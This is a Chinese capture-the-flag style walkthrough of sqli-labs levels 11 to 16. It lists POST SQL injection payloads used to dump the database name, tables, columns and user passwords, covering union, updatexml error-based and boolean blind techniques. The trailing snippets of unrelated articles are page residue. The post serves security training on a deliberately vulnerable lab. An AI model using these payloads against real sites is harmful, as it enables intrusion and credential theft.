news 2026/6/10 20:30:15

sqli-labs靶场通关详细讲解(附php源码分析Less-11-16)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
sqli-labs靶场通关详细讲解(附php源码分析Less-11-16)

Less-11

发现该题为post注入,测试注入点发现为',开始写注入语句,使用burpsuite抓包分析

在数字1处进行sql注入

1' --+

1' order by 2 --+

1' union select 11,22 --+

1' union select 11,database()--+

uname=1' union select 11,group_concat(table_name) from information_schema.tables where table_schema='security'--+&passwd=1&submit=Submit

uname=1' union select 11,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+&passwd=1&submit=Submit

uname=1' union select 11,group_concat(username,password) from users--+&passwd=1&submit=Submit

PHP源码分析

分析发现,该处为使用post接收两个值,将它拼接为sql语句

Less-12

简单测试,发现闭合为 ") uname=1")--+&passwd=1&submit=Submit

uname=1") union select 11,database()--+&passwd=1&submit=Submit

发现成功,其余步骤跟Less-11一致

Less-13

uname=1') --+&passwd=1&submit=Submit 测试发现此处为')

uname=1') order by 2--+&passwd=1&submit=Submit 测试发现页面无回显

使用报错注入

uname=1') union select 11,updatexml(1,concat(0x7e,(select database()),0x7e),1)--+&passwd=1&submit=Submit

uname=1') union select 11,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1) ,0x7e),1)--+&passwd=1&submit=Submit

uname=1') union select 11,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 1,1) ,0x7e),1)--+&passwd=1&submit=Submit

uname=1') union select 11,updatexml(1,concat(0x7e,(select username from users limit 1,1) ,0x7e),1)--+&passwd=1&submit=Submit

uname=1') union select 11,updatexml(1,concat(0x7e,(select password from users limit 0,1) ,0x7e),1)--+&passwd=1&submit=Submit

Less-14

测试发现此处闭合条件为 " 且为无回显

uname=1" union select 11,updatexml(1,concat(0x7e,(select database()),0x7e),1)--+&passwd=1&submit=Submit

uname=1" union select 11,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+&passwd=1&submit=Submit

uname=1" union select 11,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),0x7e),1)--+&passwd=1&submit=Submit

uname=1" union select 11,updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1)--+&passwd=1&submit=Submit

此题目与上题一致,仅为闭合条件不同

Less-15(补充知识看之前文章Less-8)

测试发现无报错信息也无回显,考虑使用盲注,通过使用Less-8一样的方法,不断测试

uname=1' or '1'='1'--+&passwd=1&submit=Submit 测试出闭合条件

uname=1' or '1'='1' order by 2--+&passwd=1&submit=Submit 测试为2列

uname=1' or '1'='1' union select 11,22--+&passwd=1&submit=Submit 接下来开始猜解

uname=1' or '1'='1' and (length(database()))=8--+&passwd=1&submit=Submit 只有8时为正确页面,说明数据库为8位

uname=1' or '1'='1' and (ascii(substr(database(),1,1)))=115--+&passwd=1&submit=Submit 说明数据库名字第一个字母为s

同理可得uname=1' or '1'='1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1), 1, 1)) = 101--+&passwd=1&submit=Submit 猜解表名和列名即可

Less-16

uname=1") or 1=1--+&passwd=1&submit=Submit 此处的闭合条件为")其余步骤与Less-15一致,均使用盲注的方法解决

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/9 22:55:52

20、文件归档、同步与正则表达式基础

文件归档、同步与正则表达式基础 1. 文件压缩与归档 1.1 tar 命令的压缩与网络传输 在文件处理中, tar 是一个常用的工具,现代版本的 GNU tar 支持直接使用 z 和 j 选项进行 gzip 和 bzip2 压缩。例如,使用之前的例子,我们可以简化操作: [me@linuxbox ~]…

作者头像 李华
网站建设 2026/6/10 7:48:56

新型内置式永磁同步电机设计 随着能源问题的日益突出,环境污染越来越严重,全社会都在提倡绿色环保...

新型内置式永磁同步电机设计 随着能源问题的日益突出,环境污染越来越严重,全社会都在提倡绿色环保清洁能源,汽车行业也在朝着节能和环保的理念发展,特别是纯电动汽车作为最清洁的能源汽车是我国新能源汽车发展的主要方向。 驱动电…

作者头像 李华
网站建设 2026/6/10 15:38:02

Flutter 跨平台开发实战:从零构建电商应用 UI

✨ 本文配套实战项目地址: https://openharmonycrossplatform.csdn.net/content 本文将带你深入探索 Flutter 的强大之处,通过完整的电商应用 UI 实例,掌握现代跨平台应用开发的核心技能 一、Flutter 简介与优势 1.1 什么是 Flutter&#xf…

作者头像 李华
网站建设 2026/6/10 5:44:54

回溯算法--组合总和II

问题要求:给定一个候选数集 (candidates) 和一个目标数 (target),找出 candidates 中所有可以使数字和为 target 的组合。 关键约束:1. candidates 中的每个数字在每个组合中只能使用一次。2. 解集不能包含重复的组合。一句话就是&#xff1a…

作者头像 李华